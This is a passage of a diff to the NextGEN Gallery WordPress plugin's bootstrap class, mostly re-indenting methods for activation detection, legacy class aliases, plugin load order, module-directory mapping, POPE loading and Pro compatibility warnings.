+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			return isset( $_SERVER['REQUEST_URI'] ) && strpos( wp_unslash( $_SERVER['REQUEST_URI'] ), 'topscorer/v1' ) !== false;
+		}
+
+		/**
+		 * Checks if WordPress is currently activating a plugin.
+		 *
+		 * @return bool True if a plugin is being activated.
+		 */
+		public function is_activating(): bool {
+			// Nonce verification is not necessary here: NextGEN will not load various components if the current URL
+			// indicates that WordPress is in the process of activating a plugin.
+			//
+			// phpcs:disable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			$request_uri = isset( $_SERVER['REQUEST_URI'] ) ? wp_unslash( $_SERVER['REQUEST_URI'] ) : '';
+			// phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
+			$retval = strpos( $request_uri, 'plugins.php' ) !== false && isset( $_REQUEST['action'] ) && in_array( $_REQUEST['action'], [ 'activate-selected' ] );
+
+			if ( ! $retval && strpos( $request_uri, 'update.php' ) !== false && isset( $_REQUEST['action'] ) && 'install-plugin' === $_REQUEST['action'] && isset( $_REQUEST['plugin'] ) && strpos( wp_unslash( $_REQUEST['plugin'] ), 'nextgen-gallery' ) === 0 ) {
+				$retval = true;
+			}
+
+			if ( ! $retval && strpos( $request_uri, 'update.php' ) !== false && isset( $_REQUEST['action'] ) && 'activate-plugin' === $_REQUEST['action'] && isset( $_REQUEST['plugin'] ) && strpos( wp_unslash( $_REQUEST['plugin'] ), 'nextgen-gallery' ) === 0 ) {
+				$retval = true;
+			}
+
+			return $retval;
+			// phpcs:enable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		}
+
+		/**
+		 * Adds legacy class aliases for NextGEN Pro compatibility.
+		 *
+		 * These methods will be removed over time once the announcement of their deprecation has been made public. In
+		 * order to allow third party code to remain compatible this is not being placed behind a compatibility level
+		 * check.
+		 */
+		public function add_legacy_pro_compat() {
+			// Ensure classes are loaded before creating aliases.
+			$aliases = [
+				'ImagelyNGGAdminFormManager'           => 'C_Form_Manager',
+				'ImagelyNGGAdminNotificationsManager' => 'C_Admin_Notification_Manager',
+				'ImagelyNGGAdminRequirementsManager'   => 'C_Admin_Requirements_Manager',
+				'ImagelyNGGDataMappersAlbum'           => 'C_Album_Mapper',
+				'ImagelyNGGDataMappersGallery'         => 'C_Gallery_Mapper',
+				'ImagelyNGGDataMappersImage'           => 'C_Image_Mapper',
+				'ImagelyNGGDataStorageMetaData'        => 'C_NextGen_Metadata',
+				'ImagelyNGGDataTypesLegacyImage'       => 'C_Image_Wrapper',
+				'ImagelyNGGDataTypesLightbox'          => 'C_NGG_Lightbox',
+				'ImagelyNGGDisplayTypeInstaller'       => 'C_Display_Type_Installer',
+				'ImagelyNGGDisplayTypeInstallerProxy'  => 'C_Gallery_Display_Installer',
+				'ImagelyNGGDisplayTypesTaxonomy'       => 'C_Taxonomy_Controller',
+				'ImagelyNGGDisplayI18N'                => 'M_I18N',
+				'ImagelyNGGDisplayShortcodes'          => 'C_NextGen_Shortcode_Manager',
+				'ImagelyNGGDisplayedGalleryRenderer'   => 'C_Displayed_Gallery_Renderer',
+				'ImagelyNGGDisplayedGalleryTriggerManager' => 'C_Displayed_Gallery_Trigger_Manager',
+				'ImagelyNGGDynamicStylesheetsManager'  => 'C_Dynamic_Stylesheet_Controller',
+				'ImagelyNGGDynamicThumbnailsManager'   => 'C_Dynamic_Thumbnails_Manager',
+				'ImagelyNGGIGWATPManager'              => 'M_Attach_To_Post',
+				'ImagelyNGGIGWController'              => 'C_Attach_Controller',
+				'ImagelyNGGSettingsSettings'           => [ 'C_NextGen_Settings', 'C_Photocrati_Settings_Manager' ],
+				'ImagelyNGGUtilFilesystem'             => 'C_Fs',
+				'ImagelyNGGUtilInstaller'              => 'C_Photocrati_Installer',
+				'ImagelyNGGUtilRouter'                 => 'C_Router',
+				'ImagelyNGGUtilRoutingApp'             => 'C_Routing_App',
+				'ImagelyNGGUtilSerializable'           => 'C_NextGen_Serializable',
+				'ImagelyNGGUtilTransient'              => 'C_Photocrati_Transient_Manager',
+			];

-	/**
-	 * Adds legacy class aliases for NextGEN Pro compatibility.
-	 *
-	 * These methods will be removed over time once the announcement of their deprecation has been made public. In
-	 * order to allow third party code to remain compatible this is not being placed behind a compatibility level
-	 * check.
-	 */
-	public function add_legacy_pro_compat() {
-		// Ensure classes are loaded before creating aliases.
-		$aliases = [
-			'ImagelyNGGAdminFormManager'               => 'C_Form_Manager',
-			'ImagelyNGGAdminNotificationsManager'     => 'C_Admin_Notification_Manager',
-			'ImagelyNGGAdminRequirementsManager'       => 'C_Admin_Requirements_Manager',
-			'ImagelyNGGDataMappersAlbum'               => 'C_Album_Mapper',
-			'ImagelyNGGDataMappersGallery'             => 'C_Gallery_Mapper',
-			'ImagelyNGGDataMappersImage'               => 'C_Image_Mapper',
-			'ImagelyNGGDataStorageMetaData'            => 'C_NextGen_Metadata',
-			'ImagelyNGGDataTypesLegacyImage'           => 'C_Image_Wrapper',
-			'ImagelyNGGDataTypesLightbox'              => 'C_NGG_Lightbox',
-			'ImagelyNGGDisplayTypeInstaller'           => 'C_Display_Type_Installer',
-			'ImagelyNGGDisplayTypeInstallerProxy'      => 'C_Gallery_Display_Installer',
-			'ImagelyNGGDisplayTypesTaxonomy'           => 'C_Taxonomy_Controller',
-			'ImagelyNGGDisplayI18N'                    => 'M_I18N',
-			'ImagelyNGGDisplayShortcodes'              => 'C_NextGen_Shortcode_Manager',
-			'ImagelyNGGDisplayedGalleryRenderer'       => 'C_Displayed_Gallery_Renderer',
-			'ImagelyNGGDisplayedGalleryTriggerManager' => 'C_Displayed_Gallery_Trigger_Manager',
-			'ImagelyNGGDynamicStylesheetsManager'      => 'C_Dynamic_Stylesheet_Controller',
-			'ImagelyNGGDynamicThumbnailsManager'       => 'C_Dynamic_Thumbnails_Manager',
-			'ImagelyNGGIGWATPManager'                  => 'M_Attach_To_Post',
-			'ImagelyNGGIGWController'                  => 'C_Attach_Controller',
-			'ImagelyNGGSettingsSettings'               => [ 'C_NextGen_Settings', 'C_Photocrati_Settings_Manager' ],
-			'ImagelyNGGUtilFilesystem'                 => 'C_Fs',
-			'ImagelyNGGUtilInstaller'                  => 'C_Photocrati_Installer',
-			'ImagelyNGGUtilRouter'                     => 'C_Router',
-			'ImagelyNGGUtilRoutingApp'                 => 'C_Routing_App',
-			'ImagelyNGGUtilSerializable'               => 'C_NextGen_Serializable',
-			'ImagelyNGGUtilTransient'                  => 'C_Photocrati_Transient_Manager',
-		];
-
-		foreach ( $aliases as $class => $alias_names ) {
-			if ( ! class_exists( $class ) ) {
-				continue;
-			}
-			foreach ( (array) $alias_names as $alias ) {
-				if ( class_exists( $alias, false ) || interface_exists( $alias, false ) || trait_exists( $alias, false ) ) {
+			foreach ( $aliases as $class => $alias_names ) {
+				if ( ! class_exists( $class ) ) {
 					continue;
 				}
-				class_alias( $class, $alias );
+				foreach ( (array) $alias_names as $alias ) {
+					if ( class_exists( $alias, false ) || interface_exists( $alias, false ) || trait_exists( $alias, false ) ) {
+						continue;
+					}
+					class_alias( $class, $alias );
+				}
 			}
 		}
-	}

-	/**
-	 * Ensures NextGEN Gallery loads after NextGEN Pro/Plus if they are active.
-	 */
-	public function fix_loading_order() {
-		// If a plugin wasn't activated/deactivated siliently, we can listen for these things.
-		if ( did_action( 'activate_plugin' ) || did_action( 'deactivate_plugin' ) ) {
-			return;
-		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		} elseif ( isset( $_SERVER['REQUEST_URI'] ) && strpos( wp_unslash( $_SERVER['REQUEST_URI'] ), 'plugins' ) !== false ) {
-			return;
-		} elseif ( ! $this->is_page_request() ) {
-			return;
-		}
-
-		$plugins = get_option( 'active_plugins' );
-
-		// Remove NGG from the list.
-		$ngg   = basename( __DIR__ ) . '/' . basename( __FILE__ );
-		$order = [];
-		foreach ( $plugins as $plugin ) {
-			if ( $ngg !== $plugin ) {
-				$order[] = $plugin;
+		/**
+		 * Ensures NextGEN Gallery loads after NextGEN Pro/Plus if they are active.
+		 */
+		public function fix_loading_order() {
+			// If a plugin wasn't activated/deactivated siliently, we can listen for these things.
+			if ( did_action( 'activate_plugin' ) || did_action( 'deactivate_plugin' ) ) {
+				return;
+			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			} elseif ( isset( $_SERVER['REQUEST_URI'] ) && strpos( wp_unslash( $_SERVER['REQUEST_URI'] ), 'plugins' ) !== false ) {
+				return;
+			} elseif ( ! $this->is_page_request() ) {
+				return;
+			}
+
+			$plugins = get_option( 'active_plugins' );
+
+			// Remove NGG from the list.
+			$ngg   = basename( __DIR__ ) . '/' . basename( __FILE__ );
+			$order = [];
+			foreach ( $plugins as $plugin ) {
+				if ( $ngg !== $plugin ) {
+					$order[] = $plugin;
+				}
 			}
-		}

-		// Get the position of either NGG Pro or NGG Plus.
-		$insert_at   = false;
-		$order_count = count( $order );
-		for ( $i = 0; $i < $order_count; $i++ ) {
-			$plugin = $order[ $i ];
-			if ( strpos( $plugin, 'nggallery-pro' ) !== false ) {
-				$insert_at = $i + 1;
-			} elseif ( strpos( $plugin, 'ngg-plus' ) !== false ) {
-				$insert_at = $i + 1;
+			// Get the position of either NGG Pro or NGG Plus.
+			$insert_at   = false;
+			$order_count = count( $order );
+			for ( $i = 0; $i < $order_count; $i++ ) {
+				$plugin = $order[ $i ];
+				if ( strpos( $plugin, 'nggallery-pro' ) !== false ) {
+					$insert_at = $i + 1;
+				} elseif ( strpos( $plugin, 'ngg-plus' ) !== false ) {
+					$insert_at = $i + 1;
+				}
 			}
-		}

-		// Re-insert NGG after Pro or Plus.
-		if ( false === $insert_at || count( $order ) === $insert_at ) {
-			$order[] = $ngg;
-		} elseif ( 0 === $insert_at ) {
-			array_unshift( $order, $ngg );
-		} else {
-			array_splice( $order, $insert_at, 0, [ $ngg ] );
-		}
-
-		if ( $order !== $plugins ) {
-			$order = array_filter( $order );
-			update_option( 'active_plugins', $order );
-		}
-	}
-
-	/**
-	 * Gets the directory path for a legacy module by its ID.
-	 *
-	 * @param string $module_id The module identifier.
-	 * @return string|null The module directory path or null if not found.
-	 */
-	public static function get_legacy_module_directory( $module_id ) {
-		// POPE is not loaded; return the result from a manual mapping of id -> directory name.
-		$module_dir = null;
-
-		if ( 'photocrati-nextgen_pagination' === $module_id ) {
-			$module_dir = 'nextgen_pagination';
-		}
+			// Re-insert NGG after Pro or Plus.
+			if ( false === $insert_at || count( $order ) === $insert_at ) {
+				$order[] = $ngg;
+			} elseif ( 0 === $insert_at ) {
+				array_unshift( $order, $ngg );
+			} else {
+				array_splice( $order, $insert_at, 0, [ $ngg ] );
+			}

-		if ( 'photocrati-attach_to_post' === $module_id ) {
-			$module_dir = 'attach_to_post';
-		}
-		if ( 'photocrati-cache' === $module_id ) {
-			$module_dir = 'cache';
-		}
-		if ( 'photocrati-dynamic_stylesheet' === $module_id ) {
-			$module_dir = 'dynamic_stylesheet';
-		}
-		if ( 'photocrati-dynamic_thumbnails' === $module_id ) {
-			$module_dir = 'dynamic_thumbnails';
-		}
-		if ( 'photocrati-frame_communication' === $module_id ) {
-			$module_dir = 'frame_communication';
-		}
-		if ( 'photocrati-fs' === $module_id ) {
-			$module_dir = 'fs';
-		}
-		if ( 'photocrati-i18n' === $module_id ) {
-			$module_dir = 'i18n';
-		}
-		if ( 'photocrati-lightbox' === $module_id ) {
-			$module_dir = 'lightbox';
-		}
-		if ( 'photocrati-nextgen-data' === $module_id ) {
-			$module_dir = 'nextgen_data';
-		}
-		if ( 'photocrati-nextgen-legacy' === $module_id ) {
-			$module_dir = 'ngglegacy';
-		}
-		if ( 'photocrati-nextgen_basic_gallery' === $module_id ) {
-			$module_dir = 'nextgen_basic_gallery';
-		}
-		if ( 'photocrati-nextgen_basic_thumbnails' === $module_id ) {
-			$module_dir = 'nextgen_basic_gallery';
-		}
-		if ( 'photocrati-nextgen_basic_slideshow' === $module_id ) {
-			$module_dir = 'nextgen_basic_gallery';
-		}
-		if ( 'photocrati-nextgen_basic_imagebrowser' === $module_id ) {
-			$module_dir = 'nextgen_basic_imagebrowser';
-		}
-		if ( 'photocrati-nextgen_basic_singlepic' === $module_id ) {
-			$module_dir = 'nextgen_basic_singlepic';
-		}
-		if ( 'photocrati-nextgen_basic_tagcloud' === $module_id ) {
-			$module_dir = 'nextgen_basic_tagcloud';
-		}
-		if ( 'photocrati-nextgen_basic_templates' === $module_id ) {
-			$module_dir = 'nextgen_basic_templates';
-		}
-		if ( 'photocrati-nextgen_block' === $module_id ) {
-			$module_dir = 'nextgen_block';
-		}
-		if ( 'photocrati-nextgen_gallery_display' === $module_id ) {
-			$module_dir = 'nextgen_gallery_display';
-		}
-		if ( 'photocrati-ajax' === $module_id ) {
-			$module_dir = 'ajax';
+			if ( $order !== $plugins ) {
+				$order = array_filter( $order );
+				update_option( 'active_plugins', $order );
+			}
 		}

-		if ( $module_dir ) {
-			return NGG_MODULE_DIR . DIRECTORY_SEPARATOR . $module_dir;
-		}
+		/**
+		 * Gets the directory path for a legacy module by its ID.
+		 *
+		 * @param string $module_id The module identifier.
+		 * @return string|null The module directory path or null if not found.
+		 */
+		public static function get_legacy_module_directory( $module_id ) {
+			// POPE is not loaded; return the result from a manual mapping of id -> directory name.
+			$module_dir = null;

-		if ( defined( 'NGG_PRO_MODULES_DIR' ) ) {
-			// This is a bit of a hack, but it's easiest to just dump all of these here in one place.
-			// The following are all Starter/Plus/Pro modules.
-			if ( 'photocrati-nextgen_pro_captions' === $module_id ) {
-				$module_dir = 'nextgen_pro_captions';
-			}
-			if ( 'photocrati-nextgen_pro_ecommerce' === $module_id ) {
-				$module_dir = 'ecommerce';
-			}
-			if ( 'photocrati-auto_update' === $module_id ) {
-				$module_dir = 'autoupdate';
-			}
-			if ( 'photocrati-auto_update-admin' === $module_id ) {
-				$module_dir = 'autoupdate_admin';
-			}
-			if ( 'imagely-braintree' === $module_id ) {
-				$module_dir = 'braintree';
-			}
-			if ( 'photocrati-cheque' === $module_id ) {
-				$module_dir = 'cheque';
-			}
-			if ( 'photocrati-comments' === $module_id ) {
-				$module_dir = 'comments';
+			if ( 'photocrati-nextgen_pagination' === $module_id ) {
+				$module_dir = 'nextgen_pagination';
 			}
-			if ( 'photocrati-coupons' === $module_id ) {
-				$module_dir = 'coupons';
-			}
-			if ( 'photocrati-free_gateway' === $module_id ) {
-				$module_dir = 'free_gateway';
-			}
-			if ( 'photocrati-galleria' === $module_id ) {
-				$module_dir = 'galleria';
+
+			if ( 'photocrati-attach_to_post' === $module_id ) {
+				$module_dir = 'attach_to_post';
 			}
-			if ( 'photocrati-image_protection' === $module_id ) {
-				$module_dir = 'image_protection';
+			if ( 'photocrati-cache' === $module_id ) {
+				$module_dir = 'cache';
 			}
-			if ( 'imagely-licensing' === $module_id ) {
-				$module_dir = 'licensing';
+			if ( 'photocrati-dynamic_stylesheet' === $module_id ) {
+				$module_dir = 'dynamic_stylesheet';
 			}
-			if ( 'photocrati-nextgen_pro_albums' === $module_id ) {
-				$module_dir = 'nextgen_pro_albums';
+			if ( 'photocrati-dynamic_thumbnails' === $module_id ) {
+				$module_dir = 'dynamic_thumbnails';
 			}
-			if ( 'photocrati-nextgen_pro_blog_gallery' === $module_id ) {
-				$module_dir = 'nextgen_pro_blog_gallery';
+			if ( 'photocrati-frame_communication' === $module_id ) {
+				$module_dir = 'frame_communication';
 			}
-			if ( 'photocrati-nextgen_pro_film' === $module_id ) {
-				$module_dir = 'nextgen_pro_film';
+			if ( 'photocrati-fs' === $module_id ) {
+				$module_dir = 'fs';
 			}
-			if ( 'photocrati-nextgen_pro_horizontal_filmstrip' === $module_id ) {
-				$module_dir = 'nextgen_pro_horizontal_filmstrip';
+			if ( 'photocrati-i18n' === $module_id ) {
+				$module_dir = 'i18n';
 			}
-			if ( 'photocrati-nextgen_pro_i18n' === $module_id ) {
-				$module_dir = 'nextgen_pro_i18n';
+			if ( 'photocrati-lightbox' === $module_id ) {
+				$module_dir = 'lightbox';
 			}
-			if ( 'photocrati-nextgen_pro_imagebrowser' === $module_id ) {
-				$module_dir = 'nextgen_pro_imagebrowser';
+			if ( 'photocrati-nextgen-data' === $module_id ) {
+				$module_dir = 'nextgen_data';
 			}
-			if ( 'photocrati-nextgen_pro_lightbox' === $module_id ) {
-				$module_dir = 'nextgen_pro_lightbox';
+			if ( 'photocrati-nextgen-legacy' === $module_id ) {
+				$module_dir = 'ngglegacy';
 			}
-			if ( 'photocrati-nextgen_pro_marketing' === $module_id ) {
-				$module_dir = 'nextgen_pro_marketing';
+			if ( 'photocrati-nextgen_basic_gallery' === $module_id ) {
+				$module_dir = 'nextgen_basic_gallery';
 			}
-			if ( 'photocrati-nextgen_pro_masonry' === $module_id ) {
-				$module_dir = 'nextgen_pro_masonry';
+			if ( 'photocrati-nextgen_basic_thumbnails' === $module_id ) {
+				$module_dir = 'nextgen_basic_gallery';
 			}
-			if ( 'photocrati-nextgen_pro_mosaic' === $module_id ) {
-				$module_dir = 'nextgen_pro_mosaic';
+			if ( 'photocrati-nextgen_basic_slideshow' === $module_id ) {
+				$module_dir = 'nextgen_basic_gallery';
 			}
-			if ( 'photocrati-nextgen_pro_proofing' === $module_id ) {
-				$module_dir = 'nextgen_pro_proofing';
+			if ( 'photocrati-nextgen_basic_imagebrowser' === $module_id ) {
+				$module_dir = 'nextgen_basic_imagebrowser';
 			}
-			if ( 'photocrati-nextgen_pro_settings' === $module_id ) {
-				$module_dir = 'nextgen_pro_settings';
+			if ( 'photocrati-nextgen_basic_singlepic' === $module_id ) {
+				$module_dir = 'nextgen_basic_singlepic';
 			}
-			if ( 'photocrati-nextgen_pro_sidescroll' === $module_id ) {
-				$module_dir = 'nextgen_pro_sidescroll';
+			if ( 'photocrati-nextgen_basic_tagcloud' === $module_id ) {
+				$module_dir = 'nextgen_basic_tagcloud';
 			}
-			if ( 'photocrati-nextgen_pro_slideshow' === $module_id ) {
-				$module_dir = 'nextgen_pro_slideshow';
+			if ( 'photocrati-nextgen_basic_templates' === $module_id ) {
+				$module_dir = 'nextgen_basic_templates';
 			}
-			if ( 'photocrati-nextgen_pro_thumbnail_grid' === $module_id ) {
-				$module_dir = 'nextgen_pro_thumbnail_grid';
+			if ( 'photocrati-nextgen_block' === $module_id ) {
+				$module_dir = 'nextgen_block';
 			}
-			if ( 'photocrati-nextgen_pro_tile' === $module_id ) {
-				$module_dir = 'nextgen_pro_tile';
+			if ( 'photocrati-nextgen_gallery_display' === $module_id ) {
+				$module_dir = 'nextgen_gallery_display';
 			}
-			if ( 'photocrati-pro-wpcli' === $module_id ) {
-				$module_dir = 'nextgen_pro_wpcli';
+			if ( 'photocrati-ajax' === $module_id ) {
+				$module_dir = 'ajax';
 			}
-			if ( 'photocrati-paypal_checkout' === $module_id ) {
-				$module_dir = 'paypal_checkout';
+
+			if ( $module_dir ) {
+				return NGG_MODULE_DIR . DIRECTORY_SEPARATOR . $module_dir;
 			}
-			if ( 'photocrati-paypal_express_checkout' === $module_id ) {
-				$module_dir = 'paypal_express_checkout';
+
+			if ( defined( 'NGG_PRO_MODULES_DIR' ) ) {
+				// This is a bit of a hack, but it's easiest to just dump all of these here in one place.
+				// The following are all Starter/Plus/Pro modules.
+				if ( 'photocrati-nextgen_pro_captions' === $module_id ) {
+					$module_dir = 'nextgen_pro_captions';
+				}
+				if ( 'photocrati-nextgen_pro_ecommerce' === $module_id ) {
+					$module_dir = 'ecommerce';
+				}
+				if ( 'photocrati-auto_update' === $module_id ) {
+					$module_dir = 'autoupdate';
+				}
+				if ( 'photocrati-auto_update-admin' === $module_id ) {
+					$module_dir = 'autoupdate_admin';
+				}
+				if ( 'imagely-braintree' === $module_id ) {
+					$module_dir = 'braintree';
+				}
+				if ( 'photocrati-cheque' === $module_id ) {
+					$module_dir = 'cheque';
+				}
+				if ( 'photocrati-comments' === $module_id ) {
+					$module_dir = 'comments';
+				}
+				if ( 'photocrati-coupons' === $module_id ) {
+					$module_dir = 'coupons';
+				}
+				if ( 'photocrati-free_gateway' === $module_id ) {
+					$module_dir = 'free_gateway';
+				}
+				if ( 'photocrati-galleria' === $module_id ) {
+					$module_dir = 'galleria';
+				}
+				if ( 'photocrati-image_protection' === $module_id ) {
+					$module_dir = 'image_protection';
+				}
+				if ( 'imagely-licensing' === $module_id ) {
+					$module_dir = 'licensing';
+				}
+				if ( 'photocrati-nextgen_pro_albums' === $module_id ) {
+					$module_dir = 'nextgen_pro_albums';
+				}
+				if ( 'photocrati-nextgen_pro_blog_gallery' === $module_id ) {
+					$module_dir = 'nextgen_pro_blog_gallery';
+				}
+				if ( 'photocrati-nextgen_pro_film' === $module_id ) {
+					$module_dir = 'nextgen_pro_film';
+				}
+				if ( 'photocrati-nextgen_pro_horizontal_filmstrip' === $module_id ) {
+					$module_dir = 'nextgen_pro_horizontal_filmstrip';
+				}
+				if ( 'photocrati-nextgen_pro_i18n' === $module_id ) {
+					$module_dir = 'nextgen_pro_i18n';
+				}
+				if ( 'photocrati-nextgen_pro_imagebrowser' === $module_id ) {
+					$module_dir = 'nextgen_pro_imagebrowser';
+				}
+				if ( 'photocrati-nextgen_pro_lightbox' === $module_id ) {
+					$module_dir = 'nextgen_pro_lightbox';
+				}
+				if ( 'photocrati-nextgen_pro_marketing' === $module_id ) {
+					$module_dir = 'nextgen_pro_marketing';
+				}
+				if ( 'photocrati-nextgen_pro_masonry' === $module_id ) {
+					$module_dir = 'nextgen_pro_masonry';
+				}
+				if ( 'photocrati-nextgen_pro_mosaic' === $module_id ) {
+					$module_dir = 'nextgen_pro_mosaic';
+				}
+				if ( 'photocrati-nextgen_pro_proofing' === $module_id ) {
+					$module_dir = 'nextgen_pro_proofing';
+				}
+				if ( 'photocrati-nextgen_pro_settings' === $module_id ) {
+					$module_dir = 'nextgen_pro_settings';
+				}
+				if ( 'photocrati-nextgen_pro_sidescroll' === $module_id ) {
+					$module_dir = 'nextgen_pro_sidescroll';
+				}
+				if ( 'photocrati-nextgen_pro_slideshow' === $module_id ) {
+					$module_dir = 'nextgen_pro_slideshow';
+				}
+				if ( 'photocrati-nextgen_pro_thumbnail_grid' === $module_id ) {
+					$module_dir = 'nextgen_pro_thumbnail_grid';
+				}
+				if ( 'photocrati-nextgen_pro_tile' === $module_id ) {
+					$module_dir = 'nextgen_pro_tile';
+				}
+				if ( 'photocrati-pro-wpcli' === $module_id ) {
+					$module_dir = 'nextgen_pro_wpcli';
+				}
+				if ( 'photocrati-paypal_checkout' === $module_id ) {
+					$module_dir = 'paypal_checkout';
+				}
+				if ( 'photocrati-paypal_express_checkout' === $module_id ) {
+					$module_dir = 'paypal_express_checkout';
+				}
+				if ( 'photocrati-paypal_standard' === $module_id ) {
+					$module_dir = 'paypal_standard';
+				}
+				if ( 'photocrati-nextgen_picturefill' === $module_id ) {
+					$module_dir = 'picturefill';
+				}
+				if ( 'imagely-pro-search' === $module_id ) {
+					$module_dir = 'search';
+				}
+				if ( 'photocrati-stripe' === $module_id ) {
+					$module_dir = 'stripe';
+				}
+				if ( 'photocrati-test_gateway' === $module_id ) {
+					$module_dir = 'test_gateway';
+				}
+
+				if ( $module_dir ) {
+					return NGG_PRO_MODULES_DIR . DIRECTORY_SEPARATOR . $module_dir;
+				}
 			}
-			if ( 'photocrati-paypal_standard' === $module_id ) {
-				$module_dir = 'paypal_standard';
+
+			// The module was not in the list above, consult POPE if possible.
+			if ( self::$pope_loaded ) {
+				return C_Component_Registry::get_instance()->get_module_dir( $module_id );
+			}
+
+			return $module_dir;
+		}
+
+		/**
+		 * Loads the POPE framework (Plugin Object Polymorphic Extensibility).
+		 *
+		 * Declared static so it can be called as C_NextGEN_Bootstrap::load_pope() from
+		 * namespaced code that needs to guarantee Pope is available before firing actions
+		 * that third-party plugins may handle with legacy Pope classes (e.g. ShortPixel's
+		 * use of C_Gallery_Storage via the ngg_added_new_image hook).
+		 *
+		 * @param bool $force Force loading even if conditions don't require it.
+		 */
+		public static function load_pope( $force = false ) {
+			// Never load twice.
+			if ( self::$pope_loaded ) {
+				return;
+			}
+
+			// Skip loading on non-admin, non-AJAX REST requests unless a known third-party
+			// image-optimisation plugin is active (those plugins hook into ngg_added_new_image
+			// and require legacy Pope classes) or loading is explicitly forced.
+			//
+			// NOTE: This check is evaluated at plugin-load time (constructor) when sibling plugins
+			// may not yet be included, so the constant checks can be unreliable at that point.
+			// The explicit load_pope(true) call before do_action('ngg_added_new_image') in
+			// DataStorageManager is the reliable safety net for REST upload requests.
+			//
+			// Third-party image optimization plugins that require legacy C_Gallery_Storage access:
+			// - EWWW Image Optimizer: uses I_Gallery_Storage interface
+			// - WP Smush: uses I_Gallery_Storage interface
+			// - Imagify: adds their own mixin to C_Gallery_Storage
+			// - ShortPixel: uses C_Gallery_Storage (detected via SHORTPIXEL_IMAGE_OPTIMISER_VERSION)
+			//
+			// Nonce verification is not necessary here.
+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			if ( ! $force
+				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only request parameter for routing
+				&& empty( $_REQUEST['photocrati_ajax'] )
+				&& ( self::get_pro_api_version() >= 4.0 && ! is_admin() )
+				&& ! defined( 'EWWW_IMAGE_OPTIMIZER_VERSION' ) // EWWW uses I_Gallery_Storage.
+				&& ! defined( 'WP_SMUSH_VERSION' ) // WP_SMUSH_VERSION uses I_Gallery_Storage.
+				&& ! defined( 'IMAGIFY_VERSION' ) // Imagify adds their own mixin to C_Gallery_Storage.
+				&& ! defined( 'SHORTPIXEL_IMAGE_OPTIMISER_VERSION' ) ) { // ShortPixel uses C_Gallery_Storage.
+				return;
+			}
+
+			// Pope requires a higher limit.
+			$tmp = ini_get( 'xdebug.max_nesting_level' );
+			if ( $tmp && (int) $tmp <= 300 ) {
+				// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged, WordPress.PHP.IniSet.Risky
+				@ini_set( 'xdebug.max_nesting_level', 300 );
+			}
+
+			// Enforce interfaces.
+			if ( property_exists( 'ExtensibleObject', 'enforce_interfaces' ) ) {
+				ExtensibleObject::$enforce_interfaces = EXTENSIBLE_OBJECT_ENFORCE_INTERFACES;
+			}
+
+			// Get the component registry.
+			$registry = C_Component_Registry::get_instance();
+
+			// Add the default Pope factory utility, C_Component_Factory.
+			$registry->add_utility( 'I_Component_Factory', 'C_Component_Factory' );
+
+			// Load embedded products. Each product is expected to load any modules required.
+			$registry->add_module_path( NGG_PRODUCT_DIR, 2 );
+			$registry->load_all_products();
+
+			// Give third-party plugins that opportunity to include their own products and modules.
+			do_action( 'load_nextgen_gallery_modules', $registry );
+
+			// Initializes all loaded modules.
+			$registry->initialize_all_modules();
+
+			self::$pope_loaded = true;
+		}
+
+		/**
+		 * Checks if the installed NextGEN Pro version is compatible.
+		 *
+		 * @return bool True if compatible or not installed, false if incompatible.
+		 */
+		public function is_pro_compatible() {
+			$retval = true;
+
+			if ( defined( 'NEXTGEN_GALLERY_PRO_VERSION' ) ) {
+				$retval = false;
 			}
-			if ( 'photocrati-nextgen_picturefill' === $module_id ) {
-				$module_dir = 'picturefill';
+			if ( defined( 'NEXTGEN_GALLERY_PRO_PLUGIN_BASENAME' ) && ! defined( 'NGG_PRO_PLUGIN_VERSION' ) ) {
+				$retval = false; // 1.0 - 1.0.6
 			}
-			if ( 'imagely-pro-search' === $module_id ) {
-				$module_dir = 'search';
+			if ( defined( 'NGG_PRO_PLUGIN_VERSION' ) && version_compare( NGG_PRO_PLUGIN_VERSION, $this->minimum_ngg_pro_version ) < 0 ) {
+				$retval = false;
 			}
-			if ( 'photocrati-stripe' === $module_id ) {
-				$module_dir = 'stripe';
+			if ( defined( 'NGG_PLUS_PLUGIN_VERSION' ) && version_compare( NGG_PLUS_PLUGIN_VERSION, $this->minimum_ngg_plus_version ) < 0 ) {
+				$retval = false;
+			}
+
+			return $retval;
+		}
+
+		/**
+		 * Renders a warning notice about NextGEN Pro incompatibility.
+		 */
+		public function render_incompatibility_warning() {
+			echo '<div class="updated error"><p>';
+			echo esc_html(
+				sprintf(
+					/* translators: %1$s: current NextGEN Gallery version, %2$s: minimum required NextGEN Pro version */
+					__(
+						'NextGEN Gallery %1$s is incompatible with this version of NextGEN Pro. Please update NextGEN Pro to version %2$s or higher to restore NextGEN Pro functionality.',
+						'nggallery'
+					),
+					NGG_PLUGIN_VERSION,
+					$this->minimum_ngg_pro_version
+				)
+			);
+			echo '</p></div>';
+		}
+
+		/**
+		 * Renders a warning notice about jQuery compatibility issues with WordPress 5.5 and Pro/Plus versions.
+		 */
+		public function render_jquery_wp_55_warning() {
+			$render = false;
+			global $wp_version;
+
+			$message     = '';
+			$account_msg = '';
+
+			if ( defined( 'NGG_PRO_PLUGIN_VERSION' ) && version_compare( NGG_PRO_PLUGIN_VERSION, '3.1' ) < 0 ) {
+				$render      = true;
+				$message     = __( 'Your version of NextGEN Pro is known to have some issues with NextGEN Gallery 3.4 and later.', 'nggallery' );
